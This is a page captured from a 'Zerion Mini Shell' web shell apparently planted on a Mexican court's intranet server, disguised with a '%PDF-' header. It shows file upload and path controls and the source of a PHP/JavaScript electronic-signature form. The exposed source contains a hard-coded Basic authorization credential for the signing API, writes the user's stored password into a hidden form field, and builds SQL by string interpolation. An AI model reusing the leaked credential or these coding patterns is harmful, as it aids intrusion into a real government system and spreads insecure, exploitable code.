%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/requisiciones/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/requisiciones/modalFirmaRecibido.php

<div id="modal_firma" tabindex="-1" role="dialog" aria-labelledby="modal-stackable-label" aria-hidden="false" class="modal fade">
    <div class="modal-dialog modal-wide-width"> <!-- para cambiar el tipo de modal: modal-dialog modal-wide-width -->
        <div class="modal-content">
        <head><meta charset="utf-8">
        </head>
        <div class="modal-body"><br>     

<script src="https://code.jquery.com/jquery-1.9.1.js"></script> 
<script src="https://cdnjs.cloudflare.com/ajax/libs/validate.js/0.13.1/validate.min.js"></script>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css' integrity='sha512-dTfge/zgoMYpP7QbHy4gWMEGsbsdZeCXz7irItjcC3sPUFtf0kuFbDz/ixG7ArTxmDjLXDmezHubeNikyKGVyQ==' crossorigin='anonymous'>

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js'></script> 
<!--<script src="../../common/js/jquery-1.10.2.min.js"></script> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.0/jquery.validate.min.js"></script>
<script src="vendors/jqueryvalidate/localization/messages_es.min.js" type="text/javascript"></script>
<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js' integrity='sha512-K1qjQ+NcF2TYO/eI3M6v8EiNYZfA95pQumfvcVrTHtwQVDG+aHRqLi/ETn2uB+1JqwYqVG3LIvdm9lj6imS/pQ==' crossorigin='anonymous'></script>
<script src = 'js/bootbox.js'></script>
<?php
        $conf = new Configuracion();
    $conf->conectarBD();

        $id_usuario     =   $_SESSION['id_usuario'];
        $sql = "SELECT correo,rfc,password FROM tjam_empleados e WHERE id = $id_usuario ";
        $rst = $conf->consulta($sql);
        $rfc = $rst[0]["rfc"];
        $password2 = $rst[0]["password"];
        $correoTo = $rst[0]["correo"];
?>

   <div class="panel panel-green">
                    <div class="panel-body pan">
                      <form id="formFirmar"  action="controller/firma_recibido.php">
                            <input type="hidden" name="id_firma" id="id_firma" value="">
                            <input type="hidden" name="rfc"  value="<?php echo $rfc ?>" required >
                            <input type="hidden" name="id_requisicion" id="id_requisicion" value="" >
                            <input type="hidden" name="id_usuario" value= "<?php echo $id_usuario; ?>">
                            <input type="hidden" name="password2"  value="<?php echo $password2 ?>" required >      

                            <div class="form-body pal">

                               <div class="row">
                                    <div class="form-group">
                                        <label for="InputText"> <h3> <dt>FIRMA ELECTRONICA AVANZADA</dt> </h3></label><br>
                                    </div>
                        
                              
                                <div class="row">    
                                    
                                    <div class="col-md-12">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Email</dt></label>
                                            <div class="input-icon left">
                                            <input type="email" class="form-control" name="usuario" readonly value="<?php echo $correoTo; ?>" aria-describedby="emailHelp" placeholder="Coloque el correo electronico" />
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-md-12">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Password</dt></label>
                                            <div class="input-icon left"><input  type="password" class="form-control" name="password" required aria-describedby="passHelp" placeholder="Coloque  su contraseƱa"/>
                                            </div>
                                        </div>
                                        
                                    </div>
                                    
                                       <div class="col-md-12">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>LLave </dt></label>
                                            <div class="input-icon left"><i class="fa fa-key"></i> <input type="file" accept=".key" required class="form-control" name="llavePrivada" aria-describedby="privateKeyHelp">
                                            </div>
                                        </div>
                                    </div>
                                       <div class="col-md-12">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Certificado</dt></label>
                                            <div class="input-icon left"><i class="fa fa-certificate"></i><input type="file" accept=".cer" required class="form-control" name="llavePublica" aria-describedby="publicKeyHelp">
                                            </div>
                                        </div>
                                    </div>
                                    
                                        <input type='hidden' class="form-control" name="data" value='Requisiciones' >
                                    
                                </div> 







                            </div>
            
                            <div class="form-actions text-right pal">
                               <button type="button" class="btn btn-primary btn-block" id="sendFirmar">Firmar</button>
                               <br>
                                <button type="button" data-dismiss="modal" class="btn btn-danger btn-block">Cancelar</button>
                            </div>

                        </form>
                    </div>
                </div>  

            </div>  



        </div>
        </div>
    </div>
</div>

  
  
<script>


    function readFile(file) {
        return new Promise((resolve, reject) => {
            var fr = new FileReader();
            fr.onload = () => {
                var base64 = btoa(new Uint8Array(fr.result).reduce((data, byte) => data + String.fromCharCode(byte), ''));
                resolve(base64);
            };
            fr.readAsArrayBuffer(file);
        });
    }
function firmaValidar(usuario,certificado,firma,timestamp,timestampfirma)
{
    
    $.ajax({
        type: "POST",
        url: 'registroFirma.php',
        data: {usuarioF: usuario, certificadoF: certificado, firmaF: firma, timestampF: timestamp, timestampfirmaF: timestampfirma },
        success: function(response){
            var jsonData = JSON.parse(response);

                if (jsonData.success >= 1)
                {
                   $('#modal_firma').modal('hide');
                   document.getElementById("id_firma").value = jsonData.success;
                   //alert('Firma Correcta!');
                  var ids = document.getElementById("id_firma").value;
                  //console.log(ids);
                  //$('input:hidden[name=id_firma]').val(ids);
                  $("#formFirmar").submit();
                }
                else
                {
                    alert('Error de firma!');
                    
                   $('#modal_firma').modal('hide');
                  
                }
        }
    });
    
}

    function firmar(results) {
        var dialog = results[2];
        var form = new FormData($('#formFirmar')[0]);
        var data = {};
        form.forEach(function (value, key) {
            data[key] = value;
        });

        data['llavePrivada'] = results[0];
        data['llavePublica'] = results[1];
        //console.log(data);
        $.ajax({
            //url: "http://189.206.14.26:8080/ControlCertificados/ws/firma/firmar",
            url: "https://jel.tjamich.gob.mx/ApiJel/FEA/Firmar",
            cache: false,
            type: "POST",
            dataType: "json",
            contentType: "application/json",
            data: JSON.stringify(data),
            headers: {
                Authorization: "Basic dGphbWljaGc6VGphbWljaDE2"
            }
        }).done(function (data) {
            

            firmaValidar(data.Data.usuario,data.Data.certificado,data.Data.firma,data.Data.timestamp,data.Data.timestampfirma);
           
            
            //console.log(data);
            /*bootbox.alert({
                title: "Firmado",
                message: '<p style="word-break: break-all;"><span>Usuario:' + data.Data.usuario + '</span><br><span>Certificado:' + data.Data.certificado + '</span><br><span>Firma:' + data.Data.firma + '</span><br><span>Fecha:' + data.Data.timestamp + '</span><br><span>Firma Fecha:' + data.Data.timestampfirma + '</span><br></p>'
            });*/
        }).fail(function (jqXHR, textStatus, errorThrown) {
            var d = null;
            try {
                d = JSON.parse(data.responseText);
            } catch (ex) {
                console.log(ex);
            }
            bootbox.alert('<p class="text-center"><span class="fas fa-times"></span> No se puede firmar </p><p>' + (d ? (d.applicationMessage ? d.applicationMessage : d.statusMessage) : 'Error desconocido') + '</p>');
        }).always(function () {
            //console.log('always ');
            setTimeout(function () {
                dialog.modal('hide');
            }, 500);
        });
    }

    function sendFirmar() {
        var dialog = bootbox.dialog({
            message: '<p class="text-center"><span class="fas fa-sync fa-spin"></span> Firmando</p>',
            closeButton: false
        });
        var k1 = null, k2 = null;
        $('#formFirmar :input[type="file"]').each(function () {
            var files = this.files;
            var f = files[0];

            if (f) {
                //console.log("Contenido");
                if (k1) {
                    k2 = readFile(f);
                } else {
                    k1 = readFile(f);
                }
            } else {
                dialog.modal('hide');
                bootbox.alert({
                    message: "Falta un archivo"
                });
                return;
            }
        });
        Promise.all([k1, k2, dialog]).then(function (results) {
            firmar(results);
        });
    }
    /*$('#sendFirmar').click(function () {
            sendFirmar();
        });*/
    $(function () {
        $("#formFirmar").validate({
            rules: {
                usuario: {
                    required: true,
                    email: true,
                    rangelength: [0, 1000]
                }, password: {
                    required: true,
                    rangelength: [4, 100]
                }, llavePrivada: {
                    required: true
                }, llavePublica: {
                    required: true
                }, data: {
                    required: true
                }
            },
            errorPlacement: function (error, element) {
                element.next('small').append(error);
            },
            highlight: function (element) {
                $(element).next('small').show();
                $(element).addClass('border border-danger');
            },
            unhighlight: function (element) {
                $(element).next('small').hide();
                $(element).removeClass('border border-danger');
                $(element).addClass('border border-success');
            }
        });
        $("#formFirmar").find('small').hide();
        $('#sendFirmar').click(function () {
            sendFirmar();
        });
    });
</script>

Zerion Mini Shell 1.0